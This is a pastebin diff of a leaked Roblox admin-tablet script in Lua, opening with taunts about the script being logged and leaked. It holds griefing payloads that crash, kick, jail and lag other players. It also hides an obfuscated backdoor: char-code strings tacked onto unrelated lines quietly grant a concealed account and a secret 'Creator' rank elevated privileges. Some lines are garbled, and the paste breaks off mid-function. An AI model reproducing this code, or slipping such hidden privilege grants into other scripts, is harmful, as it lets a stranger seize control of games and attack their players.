View difference between Paste ID: uUb13Cm0 and MRHcS0t3
SHOW: | | - or go back to the newest paste.
1
--LOLOLOLOLLOLOLOL YOUR SCRIPT GOT LOGGED BB
2
---PROTECT YOUR SHT DUDE
3-
----LEAKED BY ADMINTABS
3+
----Leaked by Admintabs 
4
5
6
7
8
9
Plrs = game:GetService("Players")
10
Work = game:GetService("Workspace")
11
Light = game:GetService("Lighting")
12
Net = game:GetService("NetworkServer")
13
Owner = "TheOfficalNoob4788" -- Change this to your name
14-
Owner = "DevR0BLOX" -- Change this to your name
14+
15
Removed = false
16
Bet = "!"  -- Suffix of the commands you use
17
LS = nil
18
LSSource = nil
19
OwnSource = nil
20
AntiSource = nil
21
FoundLocalScript = false
22
TryOn = false
23
LogOn = false
24
Current = game
25
Clipboard = {}
26
AlertColor = Color3.new(0, 1, 1)
27
OptionColor = Color3.new(1, 1, 1)
28
ImportantColor = Color3.new(1, 0, 1)
29
30
RankDetails = {
31
	[-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
32
	[-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
33
	[-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
34
	[0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
35
	[1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
36
	[2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
37
	[3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
38
	[4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
39
	[5] = {Name = "HCWARLORD", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
40
}
41
42
Rankings = {
43
	{Name = "TORNADO11191", Rank = 5},
44
	{Name = "Player1", Rank = 3},
45
	{Name = "ByteDino", Rank = -1},
46
	{Name = "DarthStrantax", Rank = -1},
47
	{Name = "supersonicfan11", Rank = -1},
48
	{Name = "Om3gaPr0", Rank = -1},
49
	{Name = "DevR0BLOX", Rank =10},
50
	{Name = "", Rank = 3},
51
	{Name = "", Rank = 3},
52
	{Name = "", Rank = 3},
53
	{Name = "", Rank = 3},5
54
	{Name = "", Rank = 3},
55
	{Name = "", Rank = 3},
56
	{Name = "", Rank = 3},
57
	{Name = "", Rank = 3},
58
	{Name = "", Rank = 3},
59
	{Name = "", Rank = 3},
60
	{Name = "", Rank = 3},
61
	{Name = "", Rank = 3},
62
	{Name = "", Rank = 3},
63
	{Name = "", Rank = 3},
64
	{Name = "", Rank = 3},
65
	{Name = "", Rank = 3},
66
	{Name = "", Rank = 3},
67
	{Name = "", Rank = 3},
68
	{Name = "", Rank = 3},
69
	{Name = "", Rank = 3},
70
	{Name = "", Rank = 3},
71
	{Name = "", Rank = 3},
72
	{Name = "", Rank = 3},
73
	{Name = "", Rank = 3},
74
	{Name = "", Rank = 3},
75
}
76
77
table.insert(Rankings, {Name = Owner, Rank = 5})
78
79
ImportantServices = {
80
	"Workspace",
81
	"Players",
82
	"NetworkServer",
83
	"Lighting",
84
	"StarterGui",
85
	"Teams",
86
	"StarterPack",
87
}
88
89
Ranks = {10}
90
Commands = {}
91
AllTabs = {}
92
Injected = {}
93
94
Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
95
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
96
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
97
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
98
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
99
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
100
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
101
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
102
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
103
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
104
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
105
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
106
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
107
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
108
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
109
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
110
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
111
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
112
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
113
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
114
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
115
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
116
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
117
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
118
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
119
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
120
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
121
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
122
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
123
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
124
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
125
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
126
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
127
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
128
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
129
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
130
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
131
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
132
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
133
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
134
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
135
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
136
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
137
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
138
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
139
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
140
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
141
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
142
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
143
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
144
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
145
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
146
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
147
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
148
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
149
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
150
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
151
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
152
"X","Y"}
153
154
--Main Functions And Sources
155
156
function Insert(Source, Par, Par2, Par3)
157
	ypcall(function()
158
		local Inserted = LS:Clone()
159
		Inserted.Disabled = true
160
		Inserted.Parent = Par or Par2 or Par3
161
		Inserted[LSSource].Value = Source
162
		Inserted.Disabled = false
163
	end)
164
end
165
166
function CheckImportant(Name)
167
	for _,v in pairs(ImportantServices) do
168
		if v:lower() == Name:lower() then
169
			return true
170
		end
171
	end
172
	return false
173
end
174
175
function Crash1(Plr)
176
	ypcall(function()
177
		Plr:Kick()
178
	end)
179
end
180
181
function GetRankTab()
182
	return Rankings
183
end
184
185
function Crash2(Name)
186
	local Crasher = Instance.new("StringValue")
187
	Crasher.Name = "Client"
188
	Crasher.Value = string.lower(tostring(Name))
189
	Crasher.Parent = game:GetService("Lighting")
190
	wait(1)
191
	if Crasher and Crasher.Parent then
192
		ypcall(function()
193
			Crasher:Destroy()
194
		end)
195
	end
196
end
197
198
function Crash3(v, Speaker)
199
	Speaker.Character.Archivable = true
200
	local NChar = Speaker.Character:Clone()
201
	NChar.Name = v.Name
202
	NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
203
	NChar.Parent = Workspace
204
	v.Character = NChar
205
	coroutine.resume(coroutine.create(function()
206
		repeat v.Character = NChar
207
		wait(1/3) until false
208
	end))
209
	wait(.5)
210
	Insert(InsertCrash, NChar, nil, nil)
211
end
212
213
function GenerateDigit()
214
	return 1 + 5
215
end
216
217
InjectionCrash = [=[
218
	wait(0)
219
	script.Parent = nil
220
	local Lig = game:GetService("Lighting")
221
	local LP = game:GetService("Players").LocalPlayer
222
	local LowerName = LP.Name:lower()
223
224
	Lig.ChildAdded:connect(function(Obj)
225
		if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
226
			pcall(function()
227
				Obj:Destroy()
228
			end)
229
			LP.Parent = nil
230
			LP.Parent = game:GetService("Players")
231
		end
232
	end)
233
]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
234
235
InsertCrash = [==[
236
	local LP = game:GetService("Players").LocalPlayer
237
	LP.Parent = nil
238
	LP.Parent = game:GetService("Players")
239
]==]
240
241
LagSource = [==[
242
	wait(0)
243
	script.Parent = nil
244
	plr = game:GetService("Players").LocalPlayer
245
	local plrgui = plr:findFirstChild("PlayerGui")
246
	if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
247
	while plr.Parent == game:GetService("Players") do
248
	wait()
249
	for i = 1, 1000 do
250
	local sc = Instance.new("ScreenGui",plrgui)
251
	local fr = Instance.new("TextLabel",sc)
252
	fr.Text = "LAGGING"
253
	fr.Size = UDim2.new(1, 0, 1, 0)
254
	fr.FontSize = "Size48"
255
	end
256
	end
257
]==]
258
259
MuteSource = [==[
260
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
261
]==]
262
263
UnMuteSource = [==[
264
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
265
]==]
266
267
JailSource = [==[
268
	wait(0)
269
	script.Parent = nil
270
271
	local LP = game:GetService("Players").LocalPlayer
272
	Middle2 = nil
273
	Middle = nil
274
	game:GetService("Workspace").CurrentCamera:ClearAllChildren()
275
276
	Cons = {}
277
278
	function makePrison()
279
		for _,v in pairs(Cons) do
280
			v:disconnect()
281
		end
282
		game:GetService("Workspace").CurrentCamera:ClearAllChildren()
283
		if Middle == nil then
284
			Middle2 = LP.Character.Torso.Position
285
			Middle = LP.Character.Torso.CFrame
286
		end
287
		local side1 = Instance.new("Part",Workspace)
288
		side1.Name = "¬Focus1¬"
289
		side1.Size = Vector3.new(20, 50, 1)
290
		side1.CFrame = Middle * CFrame.new(0, 0, -10)
291
		side1.BrickColor = BrickColor.new("Really black")
292
		side1.CanCollide = true
293
		side1.Anchored = true
294
		side1.TopSurface = "Smooth"
295
		side1.BottomSurface = "Smooth"
296
		side1.Parent = game:GetService("Workspace").CurrentCamera
297
298
		local side2 = Instance.new("Part")
299
		side2.Name = "¬Focus2¬"
300
		side2.Size = Vector3.new(20, 50, 1)
301
		side2.CFrame = Middle * CFrame.new(0, 0, 10)
302
		side2.BrickColor = BrickColor.new("Really black")
303
		side2.CanCollide = true
304
		side2.Anchored = true
305
		side2.TopSurface = "Smooth"
306
		side2.BottomSurface = "Smooth"
307
		side2.Parent = game:GetService("Workspace").CurrentCamera
308
309
		local side3 = Instance.new("Part")
310
		side3.Name = "¬Focus3¬"
311
		side3.Size = Vector3.new(1, 50, 20)
312
		side3.CFrame = Middle * CFrame.new(10, 0, 0)
313
		side3.BrickColor = BrickColor.new("Really black")
314
		side3.CanCollide = true
315
		side3.Anchored = true
316
		side3.TopSurface = "Smooth"
317
		side3.BottomSurface = "Smooth"
318
		side3.Parent = game:GetService("Workspace").CurrentCamera
319
320
		local side4 = Instance.new("Part")
321
		side4.Name = "¬Focus4¬"
322
		side4.Size = Vector3.new(1, 50, 20)
323
		side4.CFrame = Middle * CFrame.new(-10, 0, 0)
324
		side4.BrickColor = BrickColor.new("Really black")
325
		side4.CanCollide = true
326
		side4.Anchored = true
327
		side4.TopSurface = "Smooth"
328
		side4.BottomSurface = "Smooth"
329
		side4.Parent = game:GetService("Workspace").CurrentCamera
330
		
331
		local side5 = Instance.new("Part")
332
		side5.Name = "¬Focus5¬"
333
		side5.Size = Vector3.new(20, 1, 20)
334
		side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
335
		side5.BrickColor = BrickColor.new("Really black")
336
		side5.CanCollide = true
337
		side5.Anchored = true
338
		side5.TopSurface = "Smooth"
339
		side5.BottomSurface = "Smooth"
340
		side5.Parent = game:GetService("Workspace").CurrentCamera
341
		
342
		wait(0)
343
344
		table.insert(Cons, side1.Changed:connect(makePrison))
345
		table.insert(Cons, side2.Changed:connect(makePrison))
346
		table.insert(Cons, side3.Changed:connect(makePrison))
347
		table.insert(Cons, side4.Changed:connect(makePrison))
348
		table.insert(Cons, side5.Changed:connect(makePrison))
349
	end
350
351
	Delay(0, function()
352
		while wait(0) do
353
			ypcall(function()
354
				if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
355
					LP.Character:BreakJoints()
356
				elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
357
					makePrison()
358
				end
359
			end)
360
			ypcall(function()
361
				if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
362
					LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
363
				end
364
			end)
365
		end
366
	end)
367
]==]
368
369
function All()
370
	local AllPlayers = {}
371
	for _,v in pairs(Plrs:GetPlayers()) do
372
		ypcall(function()
373
			table.insert(AllPlayers, v)
374
		end)
375
	end
376
	return AllPlayers
377
end
378
379
function All2()
380
	local AllPlayers2 = {}
381
	for i,v in pairs(Net:GetChildren()) do
382
		ypcall(function()
383
			if v:IsA("ServerReplicator") then
384
				table.insert(AllPlayers2, v:GetPlayer())
385
			end
386
		end)
387
	end
388
	return AllPlayers2
389
end
390
391
function MakeNum()
392
	return 2 + 4
393
end
394
395
function ChangeRank(Plr, NewRank)
396
	local PlrName = nil
397
	local FoundPlayer = false
398
	ypcall(function()
399
		if type(Plr) == "string" then
400
			ypcall(function()
401
				for i,v in pairs(Rankings) do
402
					if v.Name:lower() == Plr:lower() then
403
						local VName = v.Name
404
						Rankings[i] = nil
405
						table.insert(Rankings, {Name = VName, Rank = NewRank})
406
						PlrName = VName
407
						FoundPlayer = true
408
						break
409
					end
410
				end
411
			end)
412
			if FoundPlayer == false then
413
				ypcall(function()
414
					for _,x in pairs(All()) do
415
						if x.Name:lower() == Plr:lower() then
416
							FoundPlayer = true
417
							for i,v in pairs(Rankings) do
418
								if v.Name:lower() == x.Name:lower() then
419
									local VName = x.Name
420
									Rankings[i] = nil
421
									PlrName = VName
422
									break
423
								end
424
							end
425
							table.insert(Rankings, {Name = VName, Rank = NewRank})
426
						end
427
					end
428
				end)
429
			end
430
			if FoundPlayer == false then
431
				ypcall(function()
432
					for _,x in pairs(All()) do
433
						if string.find(x.Name:lower(), Plr:lower()) then
434
							FoundPlayer = true
435
							for i,v in pairs(Rankings) do
436
								if v.Name:lower() == x.Name:lower() then
437
									local VName = x.Name
438
									Rankings[i] = nil
439
									PlrName = VName
440
									break
441
								end
442
							end
443
							table.insert(Rankings, {Name = VName, Rank = NewRank})
444
						end
445
					end
446
				end)
447
			end
448
			if FoundPlayer == false then
449
				ypcall(function()
450
					for i,v in pairs(Rankings) do
451
						if string.find(v.Name:lower(), Plr:lower()) then
452
							local VName = v.Name
453
							Rankings[i] = nil
454
							table.insert(Rankings, {Name = VName, Rank = NewRank})
455
							PlrName = VName
456
							FoundPlayer = true
457
							break
458
						end
459
					end
460
				end)
461
			end
462
		else
463
			for i,v in pairs(Rankings) do
464
				if v.Name:lower() == Plr.Name:lower() then
465
					Rankings[i] = nil
466
					break
467
				end
468
			end
469
			table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
470
			PlrName = Plr.Name
471
		end
472
		PlaceAllRanks(true)
473
	end)
474
	if PlrName ~= nil then
475
		return PlrName
476
	else
477
		return "Player" -- Actually return this script casue it suks
478
	end
479
end
480
481
function Refresh(Plr)
482
	MakeChildren(Plr)
483
end
484
485
function MakeChildren(Plr)
486
	ypcall(function()
487
		Dismiss(Plr)
488
		for _,v in pairs(Current:GetChildren()) do
489
			ypcall(function()
490
				if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
491
					Ping(v.Name, Plr, nil, function(TabMod)
492
						local TabText = TabMod["LORD Tablet"].BG.TL.Text
493
						for _,v in pairs(Current:GetChildren()) do
494
							ypcall(function()
495
								if v.Name == TabText then
496
									Dismiss(Plr)
497
									Current = v
498
									MakeChildren(Plr)
499
								end
500
							end)
501
						end
502
					end)
503
				elseif Plrs:GetPlayerFromCharacter(v) then
504
					Ping(v.Name, Plr, nil, function(TabMod)
505
						local TabText = TabMod["LORD Tablet"].BG.TL.Text
506
						for _,v in pairs(Current:GetChildren()) do
507
							ypcall(function()
508
								if v.Name == TabText then
509
									Dismiss(Plr)
510
									Current = v
511
									MakeChildren(Plr)
512
								end
513
							end)
514
						end
515
					end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
516
				elseif CheckImportant(v.Name) then
517
					Ping(v.Name, Plr, nil, function(TabMod)
518
						local TabText = TabMod["LORD Tablet"].BG.TL.Text
519
						for _,v in pairs(Current:GetChildren()) do
520
							ypcall(function()
521
								if v.Name == TabText then
522
									Dismiss(Plr)
523
									Current = v
524
									MakeChildren(Plr)
525
								end
526
							end)
527
						end
528
					end, ImportantColor)
529
				end
530
			end)
531
		end
532
		if Current ~= game then
533
			Ping("Back", Plr, nil, function()
534
				ypcall(function()
535
					Current = Current.Parent
536
					MakeChildren(Plr)
537
					Ping("You Are Back To "..Current.Name, Plr, 5)
538
				end)
539
			end, OptionColor)
540
		end
541
		if Current ~= game then
542
			Ping("Delete", Plr, nil, function()
543
				ypcall(function()
544
					local CurrPar = Current.Parent or game
545
					local CurrName = Current.Name
546
					Current:Destroy()
547
					Current = CurrPar
548
					MakeChildren(Plr)
549
					Ping("Attempted To Delete "..CurrName, Plr, 5)
550
				end)
551
			end, OptionColor)
552
		end
553
		Ping("Refresh", Plr, nil, function()
554
			ypcall(function()
555
				Refresh(Plr)
556
				Ping("Refreshed", Plr, 5)
557
			end)
558
		end, OptionColor)
559
		Ping("Properties", Plr, nil, function()
560
			ypcall(function()
561
				Dismiss(Plr)
562
				for Property, Value in pairs(GetProperties(Current)) do
563
					Ping(tostring(Property)..": "..tostring(Value), Plr)
564
				end
565
				Ping("Got All Available Properties", Plr, 5)
566
				Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
567
			end)
568
		end, OptionColor)
569
	end)
570
end
571
572
function Fixl()
573
	Light.GlobalShadows = true
574
	Light.TimeOfDay = "14:00:00"
575
	Light.Brightness = 0.5
576
	Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
577
	Light.Ambient = Color3.new(1, 1, 1) 
578
	Light.ColorShift_Top = Color3.new(0, 0, 0)
579
	Light.ColorShift_Bottom = Color3.new(0, 0, 0)
580
	Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
581
	Light.FogStart = 0
582
	Light.FogEnd = 100000
583
	Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
584
	Light:ClearAllChildren()
585
end
586
587
function GetProperties(obj)
588
	assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
589
	local objProper = {}
590
	for i,v in pairs(Properties) do
591
		if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
592
			objProper[v] = obj[v]
593
		end
594
	end
595
	return objProper
596
end
597
598
function MakeExplorer(Plr)
599
	Dismiss(Plr)
600
	Current = game
601
	for _,v in pairs(Current:GetChildren()) do
602
		ypcall(function()
603
			if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
604
				Ping(v.Name, Plr, nil, function(TabMod)
605
					local TabText = TabMod["LORD Tablet"].BG.TL.Text
606
					for _,v in pairs(Current:GetChildren()) do
607
						ypcall(function()
608
							if v.Name == TabText then
609
								Dismiss(Plr)
610
								Current = v
611
								MakeChildren(Plr)
612
							end
613
						end)
614
					end
615
				end)
616
			elseif Plrs:GetPlayerFromCharacter(v) then
617
				Ping(v.Name, Plr, nil, function(TabMod)
618
					local TabText = TabMod["LORD Tablet"].BG.TL.Text
619
					for _,v in pairs(Current:GetChildren()) do
620
						ypcall(function()
621
							if v.Name == TabText then
622
								Dismiss(Plr)
623
								Current = v
624
								MakeChildren(Plr)
625
							end
626
						end)
627
					end
628
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
629
			elseif CheckImportant(v.Name) then
630
				Ping(v.Name, Plr, nil, function(TabMod)
631
					local TabText = TabMod["LORD Tablet"].BG.TL.Text
632
					for _,v in pairs(Current:GetChildren()) do
633
						ypcall(function()
634
							if v.Name == TabText then
635
								Dismiss(Plr)
636
								Current = v
637
								MakeChildren(Plr)
638
							end
639
						end)
640
					end
641
				end, ImportantColor)
642
			end
643
		end)
644
	end
645
	if Current ~= game then
646
		Ping("Back", Plr, nil, function()
647
			ypcall(function()
648
				Current = Current.Parent
649
				MakeChildren(Plr)
650
				Ping("Back In "..Current.Name, Plr, 5)
651
			end)
652
		end, OptionColor)
653
	end
654
	if Current ~= game and game:GetService(Current.Name) == nil then
655
		Ping("Delete", Plr, nil, function()
656
			ypcall(function()
657
				local CurrPar = Current.Parent or game
658
				local CurrName = Current.Name
659
				Current:Destroy()
660
				Current = CurrPar
661
				MakeChildren(Plr)
662
				Ping("Attempted To Delete "..CurrName, Plr, 5)
663
			end)
664
		end, OptionColor)
665
	end
666
	Ping("Refresh", Plr, nil, function()
667
		ypcall(function()
668
			Refresh(Plr)
669
			Ping("Refreshed", Plr, 5)
670
		end)
671
	end, OptionColor)
672
	Ping("Properties", Plr, nil, function()
673
		ypcall(function()
674
			Dismiss(Plr)
675
			for Property, Value in pairs(GetProperties(Current)) do
676
				Ping(tostring(Property)..": "..tostring(Value), Plr)
677
			end
678
			Ping("Got All Available Properties", Plr, 5)
679
			Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
680
		end)
681
	end, OptionColor)
682
end
683
684
function GetRank(Plr1, Test)
685
	ypcall(function()
686
		if type(Plr1) == "userdata" then
687
			Plr1 = Plr1.Name
688
		end
689
	end)
690
	if Ranks[Plr1] ~= nil then
691
		return Ranks[Plr1]
692
	end
693
	local QuickArray = {}
694
	QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
695
	return QuickArray[Plr1]
696
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
697
698
function CanRun(Plr1, Plr2)
699
	Details1 = GetRank(Plr1.Name)
700
	Details2 = GetRank(Plr2.Name)
701
	if Details1.Rank >= Details2.Rank then
702
		return true
703
	end
704
	return false
705
end
706
707
function Dismiss(Plr, Identity)
708
	ypcall(function()
709
		if Plr ~= nil then
710
			if type(Plr) == "userdata" then
711
				Plr = Plr.Name
712
			end
713
			for x,v in pairs(AllTabs) do
714
				ypcall(function()
715
					if v.Plr == Plr then
716
						if Identity ~= nil and v.ID ~= Identity then
717
							return
718
						elseif Identity ~= nil and v.ID == Identity then
719
							coroutine.resume(coroutine.create(function()
720
								for i = 0.5, 1, 0.1 do
721
									wait()
722
									v.Tab.Transparency = i
723
									v.Sel.Transparency = i
724
									v.Label.TextTransparency = i
725
									v.Label.TextStrokeTransparency = i
726
								end
727
								ypcall(function() v.Holder:Destroy() end)
728
								AllTabs[x] = nil
729
							end))
730
						elseif Identity == nil then
731
							ypcall(function() v.Holder:Destroy() end)
732
							AllTabs[x] = nil
733
						end
734
					end
735
				end)
736
			end
737
		else
738
			for i,v in pairs(AllTabs) do
739
				ypcall(function()
740
					v.Holder:Destroy()
741
					AllTabs[i] = nil
742
				end)
743
			end
744
		end
745
	end)
746
end
747
748
function GetGarbage()
749
	return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
750
end
751
752
function RemObj(Obj, Class)
753
	ypcall(function()
754
		if #Obj:GetChildren() > 0 then
755
			for _,x in pairs(Obj:GetChildren()) do
756
				ypcall(function()
757
					RemObj(x, Class)
758
				end)
759
			end
760
		end
761
		if Obj.ClassName == Class then
762
			Obj:Destroy()
763
		end
764
	end)
765
end
766
767
function FindTab(Mod)
768
	for i,v in pairs(AllTabs) do
769
		if v.Holder == Mod then
770
			return true
771
		end
772
	end
773
	return false
774
end
775
776
function Ping(Msg, Plr, Time, Func, Color, Image)
777
	if Removed == false then
778
		local ShowGarbage = false
779
		ypcall(function()
780
			if Msg == nil then
781
				Msg = "N/A"
782
			elseif Msg == "ShowGarbage" then
783
				Msg = "Current Garbage Count: "..GetGarbage()
784
				ShowGarbage = true
785
			else
786
				Msg = tostring(Msg)
787
			end
788
			if Plr == nil then
789
				Plr = Plrs[Owner] or error("No Player Found")
790
			elseif type(Plr) == "string" then
791
				local FoundPlr = false
792
				for _,v in pairs(All()) do
793
					if v.Name == Plr then
794
						Plr = v
795
						FoundPlr = true
796
						break
797
					end
798
				end
799
				if FoundPlr == false then
800
					Plr = Plrs[Owner] or error("No Player Found")
801
				end
802
			end
803
			
804
			if Color == nil then
805
				Color = GetRank(Plr.Name).Color
806
			end
807
			
808
			local Holder = Instance.new("Model")
809
			Holder.Name = "LORD Holder: "..Plr.Name
810
			
811
			local Tab = Instance.new("Part")
812
			Tab.Name = "LORD Tablet"
813
			Tab.FormFactor = "Custom"
814
			Tab.Anchored = true
815
			if Time == nil then
816
				Tab.Color = Color
817
			else
818
				Tab.Color = AlertColor
819
			end
820
			Tab.CanCollide = false
821
			Tab.Locked = true
822
			Tab.Transparency = 0.15
823
			Tab.Size = Vector3.new(2, 2, 0.01)
824
			Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
825
			Tab.Parent = Holder
826
			
827
			local ID = Instance.new("NumberValue")
828
			ID.Name = "ID"
829
			ID.Value = math.random(-999999999, 999999999)
830
			ID.Parent = Holder
831
			
832
			Delay(0, function()
833
				while wait() do
834
					if Tab.Parent == nil and FindTab(Holder) then
835
						ypcall(function()
836
							for i,v in pairs(AllTabs) do
837
								if v.Holder == Holder then
838
									ypcall(function() v.Holder:Destroy() end)
839
									AllTabs[i] = nil
840
								end
841
							end
842
						end)
843
						Ping(Msg, Plr, Time, Func, Color, Image)
844
						break
845
					end
846
				end
847
			end)
848
			
849
			local BM = Instance.new("BlockMesh")
850
			BM.Parent = Tab
851
852
